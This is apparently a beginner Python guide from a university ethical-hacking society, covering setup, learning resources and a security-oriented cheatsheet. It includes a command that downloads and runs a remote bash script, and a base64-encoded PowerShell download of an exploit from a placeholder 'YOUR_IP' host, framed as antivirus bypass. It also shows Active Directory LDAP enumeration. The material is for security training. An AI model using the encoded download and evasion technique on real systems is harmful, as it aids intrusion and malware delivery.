Fundamental Skills - Python Scripting

Category	Experience Level	Author
Automation	Novice	Mac Goodwin & Seb Southwell

Contents

Intro

Python is a powerful and versatile language with a relatively easy to learn syntax.

We may use Python in some of our sessions for a few purposes:

- running pre-written exploits from exploitDB
- writing custom exploits
- simple automation tasks
- complex automation examples such as web scraping
- using nice builtins, such as text encoding options, when building shellcode

Installation

You can download Python for pretty much any Operating System here.

Alternatively, you can use Seb's instructions for installing Python along with Selenium, a useful browser automation tool. They're detailed below.

Linux Setup

For linux setup, you can type the following command below to instantly install python, pip and selenium (in the browser of your choice [Chrome or Linux]):

```
wget https://shefesh.com/session_scripts/SeleniumLinux.bash; bash
SeleniumLinux.bash
```

Windows Setup

Download python 3 and pip from the Microsoft Store. If you already have it installed from the Python website you can skip this step.

Selenium Installation

In Command Prompt or Powershell, type:

```
pip3 install selenium
```

MacOS Installation

MacOS users can follow any of the following guides:

- MacOS Python Guide
- Python Download Page
- Pip Installation Video for Python (If not installed)
- MacOS Selenium Installation Video

Selenium Driver Download

Linux users won't have to follow this step for Chrome and Firefox unless you have another browser in mind for the session.
When downloading, CHECK YOUR BROWSER VERSION as it needs to compatible and run the version of the webbrowser you currently have on your computer.

- Firefox Driver
- Chrome Driver
- Microsoft Edge Driver
- Internet Explorer Driver
- Safari Driver is built in to Safari
- Opera Driver

Learning Python

While we would like to teach you everything about Python in one short lesson, that's not really possible. It takes a while to learn, but luckily there are a few resources out there that are much better than us at teaching it.

The best way to learn is, often, to build something from scratch (coming to our Automation session, for example, will teach you how to build a web scraper). But despite how easy Python is to pick up, it's useful to know some of the basics beforehand.

Here are a few courses. There's no requirement to do these, but you may find them useful if you're interested in learning it:

- Python themselves have a Beginner's Guide and a Getting Started tutorial
- This course was built by a former SESH committee member, Brooks Rady. Start with the 'Basics of Programming in Python' lesson: https://sheffield-bionics.gitlab.io/bionics-general/
- codecademy has a course for the most recent Python version: https://www.codecademy.com/learn/learn-python-3

You can also find the Python Documentation here, which is a well-written reference guide if you have a specific question (but not a great way to learn the language).

Cheatsheet

Here are some useful commands from Python that we end up using frequently.

Launch an interactive Python shell (in any CLI):

```
$ python
```

> Note: some linux distributions, including Kali, have Python 2 installed for backwards compatibility - to use Python 3, you must type python3 in the command line

Within the shell you can import a module or local file with `import`:

```
┌──(kali㉿kali)-[~]
└─$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import requests
>>> import localscript.py
```

Run a method from a native or imported class, such as `os.system()` or `os.setuid()`:

```
>>> import os
>>> os.system("id")
uid=1000(kali) gid=1000(kali)
groups=1000(kali),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),4

0
>>> os.setuid(0)
>>> os.system("id")
uid=0(root) gid=0(root)
groups=0(root),20(dialout),120(wireshark),143(kaboxer)
0
```

Send a HTTP request:

```
>>> import requests
>>> r = requests.get("http://example.com")
>>> print(r)
<Response [200]>
```

Or raw socket data, decoding the response in UTF-8 format:

```
>>> import socket
>>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>>> connect = s.connect(('IP',25))
>>> banner = s.recv(1024)
>>> print(banner.decode("utf-8"))
```

Create and sign a JWT token:

```
>>> import jwt
>>> from datetime import datetime, timedelta
>>> key = "verysecretkeylol"
>>> encoded = jwt.encode({"exp": datetime.utcnow() + timedelta(days=7),
"key": "value"}, key, algorithm="HS256")
>>> print(encoded)
```

Calculate the difference between two hex values (useful in binary exploitation):

```
>>> 0x01611C8C - 0x016119FC
656
```

Quickly enumerate an Active Directory server with LDAP:

```
>>> import ldap3
>>> server = ldap3.Server('IP',get_info = ldap3.ALL, port = 389, use_ssl =
False)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info
```

Encode some text in base64 for a powershell encoded command (useful for basic antivirus bypass):

```
>>> import base64
>>> command = "Invoke-WebRequest http://YOUR_IP/exp.ps1 -o exp.ps1"
>>> print(base64.b64encode(command.encode("utf-16le")).decode())
SQBuAH...cwAxAA==
```

Test a regex:

```
>>> import re
>>> re.compile(r'\[\[(.*)\]\]')
re.compile('\\[\\[(.*)\\]\\]')
>>> p = re.compile(r'\[\[(.*)\]\]')
>>> string = "[capture this](https://shefesh.com/wiki/fundamental-
skills/capture-this.pdf)"
>>> m = re.match(p, string)
>>> print(m.group(1))
capture this
```

As you can see, there's plenty it can do! The interactive Python shell is especially useful for testing small changes to scripts without having to modify the file itself.